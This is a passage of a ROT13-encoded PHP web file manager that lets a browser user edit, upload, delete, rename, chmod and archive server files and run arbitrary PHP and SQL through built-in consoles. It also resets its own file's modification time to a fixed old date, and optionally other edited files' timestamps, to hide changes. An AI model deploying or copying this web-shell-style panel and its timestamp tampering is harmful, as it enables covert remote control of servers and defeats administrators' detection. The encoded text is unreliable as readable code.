<ge><gq pynff="ebj1"><grkgnern anzr="sz_ybtva[fpevcg]" pbyf="35" ebjf="7" pynff="grkgnern_vachg" vq="nhgu_fpevcg">'.$nhgu['fpevcg'].'</grkgnern></gq><gq pynff="ebj2 jubyr">'.__('Fpevcg').'</gq></ge>
<ge><gq pbyfcna="2" pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Fnir').'" ></gq></ge>
</sbez>
</gnoyr>';
rpub sz_gcy_sbez('cuc'),sz_gcy_sbez('fdy');
} ryfrvs (vffrg($cebkl_sbez)) {
	qvr($cebkl_sbez);
} ryfrvs (vffrg($erf_yat)) {	
?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj2"><gnoyr><ge><gq><u2><?=fgegbhccre($erf_yat)?> <?=__('Pbafbyr')?><?cuc
	vs($erf_yat=='fdy') rpub ' - Qngnonfr: '.$sz_pbasvt['fdy_qo'].'</u2></gq><gq>'.sz_eha_vachg('cuc');
	ryfr rpub '</u2></gq><gq>'.sz_eha_vachg('fdy');
	?></gq></ge></gnoyr></gq>
</ge>
<ge>
    <gq pynff="ebj1">
		<n uers="<?=$hey_vap.'&cngu=' . $cngu;?>"><?=__('Onpx')?></n>
		<sbez npgvba="" zrgubq="CBFG" anzr="pbafbyr">
		<grkgnern anzr="<?=$erf_yat?>" pbyf="80" ebjf="10" fglyr="jvqgu: 90%"><?=$erf?></grkgnern><oe/>
		<vachg glcr="erfrg" inyhr="<?=__('Erfrg')?>">
		<vachg glcr="fhozvg" inyhr="<?=__('Fhozvg')?>" anzr="<?=$erf_yat?>eha">
<?cuc
$fge_gzcy = $erf_yat.'_grzcyngrf';
$gzcy = !rzcgl($$fge_gzcy) ? wfba_qrpbqr($$fge_gzcy,gehr) : '';
vs (!rzcgl($gzcy)){
	$npgvir = vffrg($_CBFG[$erf_yat.'_gcy']) ? $_CBFG[$erf_yat.'_gcy'] : '';
	$fryrpg = '<fryrpg anzr="'.$erf_yat.'_gcy" gvgyr="'.__('Grzcyngr').'" bapunatr="vs (guvf.inyhr!=-1) qbphzrag.sbezf[\'pbafbyr\'].ryrzragf[\''.$erf_yat.'\'].inyhr = guvf.bcgvbaf[fryrpgrqVaqrk].inyhr; ryfr qbphzrag.sbezf[\'pbafbyr\'].ryrzragf[\''.$erf_yat.'\'].inyhr =\'\';" >'."\a";
	$fryrpg .= '<bcgvba inyhr="-1">' . __('Fryrpg') . "</bcgvba>\a";
	sbernpu ($gzcy nf $xrl=>$inyhr){
		$fryrpg.='<bcgvba inyhr="'.$inyhr.'" '.((!rzcgl($inyhr)&&($inyhr==$npgvir))?'fryrpgrq':'').' >'.__($xrl)."</bcgvba>\a";
	}
	$fryrpg .= "</fryrpg>\a";
	rpub $fryrpg;
}
?>
		</sbez>
	</gq>
</ge>
</gnoyr>
<?cuc
	vs (!rzcgl($erf)) {
		$sha='sz_'.$erf_yat;
		rpub '<u3>'.fgegbhccre($erf_yat).' '.__('Erfhyg').'</u3><cer>'.$sha($erf).'</cer>';
	}
} ryfrvs (!rzcgl($_ERDHRFG['rqvg'])){
	vs(!rzcgl($_ERDHRFG['fnir'])) {
		$sa = $cngu . $_ERDHRFG['rqvg'];
		$svyrzgvzr = svyrzgvzr($sa);
	    vs (svyr_chg_pbagragf($sa, $_ERDHRFG['arjpbagrag'])) $zft .= __('Svyr hcqngrq');
		ryfr $zft .= __('Reebe bppheerq');
		vs ($_TRG['rqvg']==onfranzr(__SVYR__)) {
			gbhpu(__SVYR__,1415116371);
		} ryfr {
			vs (!rzcgl($sz_pbasvt['erfgber_gvzr'])) gbhpu($sa,$svyrzgvzr);
		}
	}
    $byqpbagrag = @svyr_trg_pbagragf($cngu . $_ERDHRFG['rqvg']);
    $rqvgyvax = $hey_vap . '&rqvg=' . $_ERDHRFG['rqvg'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;
?>
<gnoyr obeqre='0' pryyfcnpvat='0' pryycnqqvat='1' jvqgu="100%">
<ge>
    <gu><?=__('Svyr znantre').' - '.__('Rqvg').' - '.$cngu.$_ERDHRFG['rqvg']?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=sz_ubzr()?> <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$rqvgyvax?>">
            <grkgnern anzr="arjpbagrag" vq="arjpbagrag" pbyf="45" ebjf="15" fglyr="jvqgu:99%" fcryypurpx="snyfr"><?=ugzyfcrpvnypunef($byqpbagrag)?></grkgnern>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
            <vachg glcr="fhozvg" anzr="pnapry" inyhr="<?=__('Pnapry')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
rpub $nhgu['fpevcg'];
} ryfrvs(!rzcgl($_ERDHRFG['evtugf'])){
	vs(!rzcgl($_ERDHRFG['fnir'])) {
	    vs(sz_puzbq($cngu . $_ERDHRFG['evtugf'], sz_pbaireg_evtugf($_ERDHRFG['evtugf_iny']), @$_ERDHRFG['erphefviryl']))
		$zft .= (__('Svyr hcqngrq')); 
		ryfr $zft .= (__('Reebe bppheerq'));
	}
	pyrnefgngpnpur();
    $byqevtugf = sz_evtugf_fgevat($cngu . $_ERDHRFG['evtugf'], gehr);
    $yvax = $hey_vap . '&evtugf=' . $_ERDHRFG['evtugf'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;
?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$yvax?>">
           <?=__('Evtugf').' - '.$_ERDHRFG['evtugf']?> <vachg glcr="grkg" anzr="evtugf_iny" inyhr="<?=$byqevtugf?>">
        <?cuc vs (vf_qve($cngu.$_ERDHRFG['evtugf'])) { ?>
            <vachg glcr="purpxobk" anzr="erphefviryl" inyhr="1"> <?=__('Erphefviryl')?><oe/>
        <?cuc } ?>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
} ryfrvs (!rzcgl($_ERDHRFG['eranzr'])&&$_ERDHRFG['eranzr']<>'.') {
	vs(!rzcgl($_ERDHRFG['fnir'])) {
	    eranzr($cngu . $_ERDHRFG['eranzr'], $cngu . $_ERDHRFG['arjanzr']);
		$zft .= (__('Svyr hcqngrq'));
		$_ERDHRFG['eranzr'] = $_ERDHRFG['arjanzr'];
	}
	pyrnefgngpnpur();
    $yvax = $hey_vap . '&eranzr=' . $_ERDHRFG['eranzr'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;

?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$yvax?>">
            <?=__('Eranzr')?>: <vachg glcr="grkg" anzr="arjanzr" inyhr="<?=$_ERDHRFG['eranzr']?>"><oe/>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
} ryfr {
//Yrg'f ebpx!
    $zft = '';
    vs(!rzcgl($_SVYRF['hcybnq'])&&!rzcgl($sz_pbasvt['hcybnq_svyr'])) {
        vs(!rzcgl($_SVYRF['hcybnq']['anzr'])){
            $_SVYRF['hcybnq']['anzr'] = fge_ercynpr('%', '', $_SVYRF['hcybnq']['anzr']);
            vs(!zbir_hcybnqrq_svyr($_SVYRF['hcybnq']['gzc_anzr'], $cngu . $_SVYRF['hcybnq']['anzr'])){
                $zft .= __('Reebe bppheerq');
            } ryfr {
				$zft .= __('Svyrf hcybnqrq').': '.$_SVYRF['hcybnq']['anzr'];
			}
        }
    } ryfrvs(!rzcgl($_ERDHRFG['qryrgr'])&&$_ERDHRFG['qryrgr']<>'.') {
        vs(!sz_qry_svyrf(($cngu . $_ERDHRFG['qryrgr']), gehr)) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			$zft .= __('Qryrgrq').' '.$_ERDHRFG['qryrgr'];
		}
	} ryfrvs(!rzcgl($_ERDHRFG['zxqve'])&&!rzcgl($sz_pbasvt['znxr_qverpgbel'])) {
        vs(!@zxqve($cngu . $_ERDHRFG['qveanzr'],0777)) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			$zft .= __('Perngrq').' '.$_ERDHRFG['qveanzr'];
		}
    } ryfrvs(!rzcgl($_CBFG['frnepu_erphefvir'])) {
		vav_frg('znk_rkrphgvba_gvzr', '0');
		$frnepu_qngn =  svaq_grkg_va_svyrf($_CBFG['cngu'], $_CBFG['znfx'], $_CBFG['frnepu_erphefvir']);
		vs(!rzcgl($frnepu_qngn)) {
			$zft .= __('Sbhaq va svyrf').' ('.pbhag($frnepu_qngn).'):<oe>';
			sbernpu ($frnepu_qngn nf $svyranzr) {
				$zft .= '<n uers="'.sz_hey(gehr).'?sz=gehr&rqvg='.onfranzr($svyranzr).'&cngu='.fge_ercynpr('/'.onfranzr($svyranzr),'/',$svyranzr).'" gvgyr="' . __('Rqvg') . '">'.onfranzr($svyranzr).'</n>&aofc; &aofc;';
			}
		} ryfr {
			$zft .= __('Abguvat sbhaqrq');
		}	
	} ryfrvs(!rzcgl($_ERDHRFG['zxsvyr'])&&!rzcgl($sz_pbasvt['arj_svyr'])) {
        vs(!$sc=@sbcra($cngu . $_ERDHRFG['svyranzr'],"j")) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			spybfr($sc);
			$zft .= __('Perngrq').' '.$_ERDHRFG['svyranzr'];
		}
    } ryfrvs (vffrg($_TRG['mvc'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['mvc']);
		$qrfgvangvba = onfranzr($fbhepr).'.mvc';
		frg_gvzr_yvzvg(0);
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->ohvyqSebzQverpgbel($fbhepr);
		vs (vf_svyr($qrfgvangvba))
		$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
		'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
		.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '. $qrfgvangvba.'" >'.__('Qryrgr') . '</n>';
		ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	} ryfrvs (vffrg($_TRG['tm'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['tm']);
		$nepuvir = $fbhepr.'.gne';
		$qrfgvangvba = onfranzr($fbhepr).'.gne';
		vs (vf_svyr($nepuvir)) hayvax($nepuvir);
		vs (vf_svyr($nepuvir.'.tm')) hayvax($nepuvir.'.tm');
		pyrnefgngpnpur();
		frg_gvzr_yvzvg(0);
		//qvr();
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->ohvyqSebzQverpgbel($fbhepr);
		$cune->pbzcerff(Cune::TM,'.gne.tm');
		hafrg($cune);
		vs (vf_svyr($nepuvir)) {
			vs (vf_svyr($nepuvir.'.tm')) {
				hayvax($nepuvir); 
				$qrfgvangvba .= '.tm';
			}

			$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
			'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
			.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '.$qrfgvangvba.'" >'.__('Qryrgr').'</n>';
		} ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	} ryfrvs (vffrg($_TRG['qrpbzcerff'])) {
		// $fbhepr = onfr64_qrpbqr($_TRG['qrpbzcerff']);
		// $qrfgvangvba = onfranzr($fbhepr);
		// $rkg = raq(rkcybqr(".", $qrfgvangvba));
		// vs ($rkg=='mvc' BE $rkg=='tm') {
			// $cune = arj CuneQngn($fbhepr);
			// $cune->qrpbzcerff();
			// $onfr_svyr = fge_ercynpr('.'.$rkg,'',$qrfgvangvba);
			// $rkg = raq(rkcybqr(".", $onfr_svyr));
			// vs ($rkg=='gne'){
				// $cune = arj CuneQngn($onfr_svyr);
				// $cune->rkgenpgGb(qve($fbhepr));
			// }
		// } 
		// $zft .= __('Gnfx').' "'.__('Qrpbzcerff').' '.$fbhepr.'" '.__('qbar');
	} ryfrvs (vffrg($_TRG['tmsvyr'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['tmsvyr']);
		$nepuvir = $fbhepr.'.gne';
		$qrfgvangvba = onfranzr($fbhepr).'.gne';
		vs (vf_svyr($nepuvir)) hayvax($nepuvir);
		vs (vf_svyr($nepuvir.'.tm')) hayvax($nepuvir.'.tm');
		frg_gvzr_yvzvg(0);
		//rpub $qrfgvangvba;
		$rkg_nee = rkcybqr('.',onfranzr($fbhepr));
		vs (vffrg($rkg_nee[1])) {
			hafrg($rkg_nee[0]);
			$rkg=vzcybqr('.',$rkg_nee);
		} 
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->nqqSvyr($fbhepr);
		$cune->pbzcerff(Cune::TM,$rkg.'.gne.tm');
		hafrg($cune);
		vs (vf_svyr($nepuvir)) {
			vs (vf_svyr($nepuvir.'.tm')) {
				hayvax($nepuvir); 
				$qrfgvangvba .= '.tm';
			}
			$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
			'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
			.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '.$qrfgvangvba.'" >'.__('Qryrgr').'</n>';
		} ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	}
?>
<gnoyr pynff="jubyr" vq="urnqre_gnoyr" >
<ge>
    <gu pbyfcna="2"><?=__('Svyr znantre')?><?=(!rzcgl($cngu)?' - '.$cngu:'')?></gu>
</ge>
<?cuc vs(!rzcgl($zft)){ ?>
<ge>
	<gq pbyfcna="2" pynff="ebj2"><?=$zft?></gq>
</ge>
<?cuc } ?>
<ge>
    <gq pynff="ebj2">
		<gnoyr>
			<ge>
			<gq>
				<?=sz_ubzr()?>
			</gq>
			<gq>
			<?cuc vs(!rzcgl($sz_pbasvt['znxr_qverpgbel'])) { ?>
				<sbez zrgubq="cbfg" npgvba="<?=$hey_vap?>">
				<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
				<vachg glcr="grkg" anzr="qveanzr" fvmr="15">
				<vachg glcr="fhozvg" anzr="zxqve" inyhr="<?=__('Znxr qverpgbel')?>">
				</sbez>
			<?cuc } ?>
			</gq>
			<gq>
			<?cuc vs(!rzcgl($sz_pbasvt['arj_svyr'])) { ?>
				<sbez zrgubq="cbfg" npgvba="<?=$hey_vap?>">
				<vachg glcr="uvqqra" anzr="cngu"     inyhr="<?=$cngu?>" />
				<vachg glcr="grkg"   anzr="svyranzr" fvmr="15">
				<vachg glcr="fhozvg" anzr="zxsvyr"   inyhr="<?=__('Arj svyr')?>">
				</sbez>
			<?cuc } ?>
			</gq>
			<gq>
				<sbez  zrgubq="cbfg" npgvba="<?=$hey_vap?>" fglyr="qvfcynl:vayvar">
				<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
				<vachg glcr="grkg" cynprubyqre="<?=__('Erphefvir frnepu')?>" anzr="frnepu_erphefvir" inyhr="<?=!rzcgl($_CBFG['frnepu_erphefvir'])?$_CBFG['frnepu_erphefvir']:''?>" fvmr="15">
				<vachg glcr="grkg" anzr="znfx" cynprubyqre="<?=__('Znfx')?>" inyhr="<?=!rzcgl($_CBFG['znfx'])?$_CBFG['znfx']:'*.*'?>" fvmr="5">
				<vachg glcr="fhozvg" anzr="frnepu" inyhr="<?=__('Frnepu')?>">
				</sbez>
			</gq>
			<gq>
			<?=sz_eha_vachg('cuc')?>
			</gq>
			<gq>
			<?=sz_eha_vachg('fdy')?>
			</gq>
			</ge>
		</gnoyr>
    </gq>
    <gq pynff="ebj3">
		<gnoyr>
		<ge>
		<gq>
		<?cuc vs (!rzcgl($sz_pbasvt['hcybnq_svyr'])) { ?>
			<sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$hey_vap?>" rapglcr="zhygvcneg/sbez-qngn">
			<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
			<vachg glcr="svyr" anzr="hcybnq" vq="hcybnq_uvqqra" fglyr="cbfvgvba: nofbyhgr; qvfcynl: oybpx; biresybj: uvqqra; jvqgu: 0; urvtug: 0; obeqre: 0; cnqqvat: 0;" bapunatr="qbphzrag.trgRyrzragOlVq('hcybnq_ivfvoyr').inyhr = guvf.inyhr;" />
			<vachg glcr="grkg" ernqbayl="1" vq="hcybnq_ivfvoyr" cynprubyqre="<?=__('Fryrpg gur svyr')?>" fglyr="phefbe: cbvagre;" bapyvpx="qbphzrag.trgRyrzragOlVq('hcybnq_uvqqra').pyvpx();" />
			<vachg glcr="fhozvg" anzr="grfg" inyhr="<?=__('Hcybnq')?>" />
			</sbez>
		<?cuc } ?>
		</gq>
		<gq>
		<?cuc vs ($nhgu['nhgubevmr']) { ?>
			<sbez npgvba="" zrgubq="cbfg">&aofc;&aofc;&aofc;
			<vachg anzr="dhvg" glcr="uvqqra" inyhr="1">
			<?=__('Uryyb')?>, <?=$nhgu['ybtva']?>
			<vachg glcr="fhozvg" inyhr="<?=__('Dhvg')?>">
			</sbez>
		<?cuc } ?>
		</gq>
		<gq>
		<?=sz_ynat_sbez($ynathntr)?>
		</gq>
		<ge>
		</gnoyr>
    </gq>
</ge>
</gnoyr>
<gnoyr pynff="nyy" obeqre='0' pryyfcnpvat='1' pryycnqqvat='1' vq="sz_gnoyr" jvqgu="100%">
<gurnq>
<ge> 
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Svyranzr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Fvmr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Qngr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Evtugf')?> </gu>
    <gu pbyfcna="4" fglyr="juvgr-fcnpr:abjenc"> <?=__('Znantr')?> </gu>
</ge>
</gurnq>
<gobql>
<?cuc
$ryrzragf = sz_fpna_qve($cngu, '', 'nyy', gehr);
$qvef = neenl();
$svyrf = neenl();
sbernpu ($ryrzragf nf $svyr){
    vs(@vf_qve($cngu . $svyr)){
        $qvef[] = $svyr;
    } ryfr {
        $svyrf[] = $svyr;
    }
}
angfbeg($qvef); angfbeg($svyrf);
$ryrzragf = neenl_zretr($qvef, $svyrf);

sbernpu ($ryrzragf nf $svyr){
    $svyranzr = $cngu . $svyr;
    $svyrqngn = @fgng($svyranzr);
    vs(@vf_qve($svyranzr)){
		$svyrqngn[7] = '';
		vs (!rzcgl($sz_pbasvt['fubj_qve_fvmr'])&&!sz_ebbg($svyr)) $svyrqngn[7] = sz_qve_fvmr($svyranzr);
        $yvax = '<n uers="'.$hey_vap.'&cngu='.$cngu.$svyr.'" gvgyr="'.__('Fubj').' '.$svyr.'"><fcna pynff="sbyqre">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>';
        $ybnqyvax= (sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('mvc',$svyranzr,__('Pbzcerff').'&aofc;mvc',__('Nepuvivat').' '. $svyr);
		$neyvax  = (sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('tm',$svyranzr,__('Pbzcerff').'&aofc;.gne.tm',__('Nepuvivat').' '.$svyr);
        $fglyr = 'ebj2';
		 vs (!sz_ebbg($svyr)) $nyreg = 'baPyvpx="vs(pbasvez(\'' . __('Ner lbh fher lbh jnag gb qryrgr guvf qverpgbel (erphefviryl)?').'\a /'. $svyr. '\')) qbphzrag.ybpngvba.uers = \'' . $hey_vap . '&qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"'; ryfr $nyreg = '';
    } ryfr {
		$yvax = 
			$sz_pbasvt['fubj_vzt']&&@trgvzntrfvmr($svyranzr) 
			? '<n gnetrg="_oynax" bapyvpx="ine yrsgb = fperra.ninvyJvqgu/2-320;jvaqbj.bcra(\''
			. sz_vzt_yvax($svyranzr)
			.'\',\'cbchc\',\'jvqgu=640,urvtug=480,yrsg=\' + yrsgb + \',fpebyyonef=lrf,gbbyone=ab,ybpngvba=ab,qverpgbevrf=ab,fgnghf=ab\');erghea snyfr;" uers="'.sz_vzt_yvax($svyranzr).'"><fcna pynff="vzt">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>'
			: '<n uers="' . $hey_vap . '&rqvg=' . $svyr . '&cngu=' . $cngu. '" gvgyr="' . __('Rqvg') . '"><fcna pynff="svyr">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>';
		$r_nee = rkcybqr(".", $svyr);
		$rkg = raq($r_nee);
        $ybnqyvax =  sz_yvax('qbjaybnq',$svyranzr,__('Qbjaybnq'),__('Qbjaybnq').' '. $svyr);
		$neyvax = va_neenl($rkg,neenl('mvc','tm','gne')) 
		? ''
		: ((sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('tmsvyr',$svyranzr,__('Pbzcerff').'&aofc;.gne.tm',__('Nepuvivat').' '. $svyr));
        $fglyr = 'ebj1';
		$nyreg = 'baPyvpx="vs(pbasvez(\''. __('Svyr fryrpgrq').': \a'. $svyr. '. \a'.__('Ner lbh fher lbh jnag gb qryrgr guvf svyr?') . '\')) qbphzrag.ybpngvba.uers = \'' . $hey_vap . '&qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"';
    }
    $qryrgryvax = sz_ebbg($svyr) ? '' : '<n uers="#" gvgyr="' . __('Qryrgr') . ' '. $svyr . '" ' . $nyreg . '>' . __('Qryrgr') . '</n>';
    $eranzryvax = sz_ebbg($svyr) ? '' : '<n uers="' . $hey_vap . '&eranzr=' . $svyr . '&cngu=' . $cngu . '" gvgyr="' . __('Eranzr') .' '. $svyr . '">' . __('Eranzr') . '</n>';
    $evtugfgrkg = ($svyr=='.' || $svyr=='..') ? '' : '<n uers="' . $hey_vap . '&evtugf=' . $svyr . '&cngu=' . $cngu . '" gvgyr="' . __('Evtugf') .' '. $svyr . '">' . @sz_evtugf_fgevat($svyranzr) . '</n>';
?>
<ge pynff="<?=$fglyr?>"> 
    <gq><?=$yvax?></gq>
    <gq><?=$svyrqngn[7]?></gq>
    <gq fglyr="juvgr-fcnpr:abjenc"><?=tzqngr("L-z-q U:v:f",$svyrqngn[9])?></gq>
    <gq><?=$evtugfgrkg?></gq>
    <gq><?=$qryrgryvax?></gq>
    <gq><?=$eranzryvax?></gq>
    <gq><?=$ybnqyvax?></gq>
    <gq><?=$neyvax?></gq>
</ge>
<?cuc
    }
}
?>
</gobql>
</gnoyr>
<qvi pynff="ebj3"><?cuc
	$zgvzr = rkcybqr(' ', zvpebgvzr()); 
	$gbgnygvzr = $zgvzr[0] + $zgvzr[1] - $fgneggvzr; 
	rpub sz_ubzr().' | ire. '.$sz_irefvba.' | <n uers="uggcf://tvguho.pbz/Qra1kkk/Svyrznantre">Tvguho</n>  | <n uers="'.sz_fvgr_hey().'">.</n>';
	vs (!rzcgl($sz_pbasvt['fubj_cuc_ire'])) rpub ' | CUC '.cucirefvba();
	vs (!rzcgl($sz_pbasvt['fubj_cuc_vav'])) rpub ' | '.cuc_vav_ybnqrq_svyr();
	vs (!rzcgl($sz_pbasvt['fubj_tg'])) rpub ' | '.__('Trarengvba gvzr').': '.ebhaq($gbgnygvzr,2);
	vs (!rzcgl($sz_pbasvt['ranoyr_cebkl'])) rpub ' | <n uers="?cebkl=gehr">cebkl</n>';
	vs (!rzcgl($sz_pbasvt['fubj_cucvasb'])) rpub ' | <n uers="?cucvasb=gehr">cucvasb</n>';
	vs (!rzcgl($sz_pbasvt['fubj_kyf'])&&!rzcgl($yvax)) rpub ' | <n uers="wninfpevcg: ibvq(0)" bapyvpx="ine bow = arj gnoyr2Rkpry(); bow.PerngrRkpryFurrg(\'sz_gnoyr\',\'rkcbeg\');" gvgyr="'.__('Qbjaybnq').' kyf">kyf</n>';
	vs (!rzcgl($sz_pbasvt['sz_frggvatf'])) rpub ' | <n uers="?sz_frggvatf=gehr">'.__('Frggvatf').'</n>';
	?>
</qvi>
<fpevcg glcr="grkg/wninfpevcg">
shapgvba qbjaybnq_kyf(svyranzr, grkg) {
	ine ryrzrag = qbphzrag.perngrRyrzrag('n');
	ryrzrag.frgNggevohgr('uers', 'qngn:nccyvpngvba/iaq.zf-rkpry;onfr64,' + grkg);
	ryrzrag.frgNggevohgr('qbjaybnq', svyranzr);
	ryrzrag.fglyr.qvfcynl = 'abar';
	qbphzrag.obql.nccraqPuvyq(ryrzrag);
	ryrzrag.pyvpx();
	qbphzrag.obql.erzbirPuvyq(ryrzrag);
}

shapgvba onfr64_rapbqr(z) {
	sbe (ine x = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/".fcyvg(""), p, q, u, r, n, t = "", o = 0, s, y = 0; y < z.yratgu; ++y) {
		p = z.punePbqrNg(y);
		vs (128 > p) q = 1;
		ryfr
			sbe (q = 2; p >= 2 << 5 * q;) ++q;
		sbe (u = 0; u < q; ++u) 1 == q ? r = p : (r = u ? 128 : 192, n = q - 2 - 6 * u, 0 <= n && (r += (6 <= n ? 1 : 0) + (5 <= n ? 2 : 0) + (4 <= n ? 4 : 0) + (3 <= n ? 8 : 0) + (2 <= n ? 16 : 0) + (1 <= n ? 32 : 0), n -= 5), 0 > n && (h = 6 * (q - 1 - u), r += p >> h, p -= p >> h << h)), s = o ? s << 6 - o : 0, o += 2, s += r >> o, t += x[s], s = r % (1 << o), 6 == o && (o = 0, t += x[s])
	}
	o && (t += x[s << 6 - o]);
	erghea t
}


ine gnoyrGbRkpryQngn = (shapgvba() {
    ine hev = 'qngn:nccyvpngvba/iaq.zf-rkpry;onfr64,',
    grzcyngr = '<ugzy kzyaf:b="hea:fpurznf-zvpebfbsg-pbz:bssvpr:bssvpr" kzyaf:k="hea:fpurznf-zvpebfbsg-pbz:bssvpr:rkpry" kzyaf="uggc://jjj.j3.bet/GE/ERP-ugzy40"><urnq><!--[vs tgr zfb 9]><kzy><k:RkpryJbexobbx><k:RkpryJbexfurrgf><k:RkpryJbexfurrg><k:Anzr>{jbexfurrg}</k:Anzr><k:JbexfurrgBcgvbaf><k:QvfcynlTevqyvarf></k:QvfcynlTevqyvarf></k:JbexfurrgBcgvbaf></k:RkpryJbexfurrg></k:RkpryJbexfurrgf></k:RkpryJbexobbx></kzy><![raqvs]--><zrgn uggc-rdhvi="pbagrag-glcr" pbagrag="grkg/cynva; punefrg=HGS-8"/></urnq><obql><gnoyr>{gnoyr}</gnoyr></obql></ugzy>',
    sbezng = shapgvba(f, p) {
            erghea f.ercynpr(/{(\j+)}/t, shapgvba(z, c) {
                erghea p[c];
            })
        }
    erghea shapgvba(gnoyr, anzr) {
        vs (!gnoyr.abqrGlcr) gnoyr = qbphzrag.trgRyrzragOlVq(gnoyr)
        ine pgk = {
            jbexfurrg: anzr || 'Jbexfurrg',
            gnoyr: gnoyr.vaareUGZY.ercynpr(/<fcna(.*?)\/fcna> /t,"").ercynpr(/<n\o[^>]*>(.*?)<\/n>/t,"$1")
        }
		g = arj Qngr();
		svyranzr = 'sz_' + g.gbVFBFgevat() + '.kyf'
		qbjaybnq_kyf(svyranzr, onfr64_rapbqr(sbezng(grzcyngr, pgk)))
    }
})();

ine gnoyr2Rkpry = shapgvba () {

    ine hn = jvaqbj.anivtngbe.hfreNtrag;
    ine zfvr = hn.vaqrkBs("ZFVR ");

	guvf.PerngrRkpryFurrg = 
		shapgvba(ry, anzr){
			vs (zfvr > 0 || !!anivtngbe.hfreNtrag.zngpu(/Gevqrag.*ei\:11\./)) {// Vs Vagrearg Rkcybere

				ine k = qbphzrag.trgRyrzragOlVq(ry).ebjf;

				ine kyf = arj NpgvirKBowrpg("Rkpry.Nccyvpngvba");

				kyf.ivfvoyr = gehr;
				kyf.Jbexobbxf.Nqq
				sbe (v = 0; v < k.yratgu; v++) {
					ine l = k[v].pryyf;

					sbe (w = 0; w < l.yratgu; w++) {
						kyf.Pryyf(v + 1, w + 1).Inyhr = l[w].vaareGrkg;
					}
				}
				kyf.Ivfvoyr = gehr;
				kyf.HfrePbageby = gehr;
				erghea kyf;
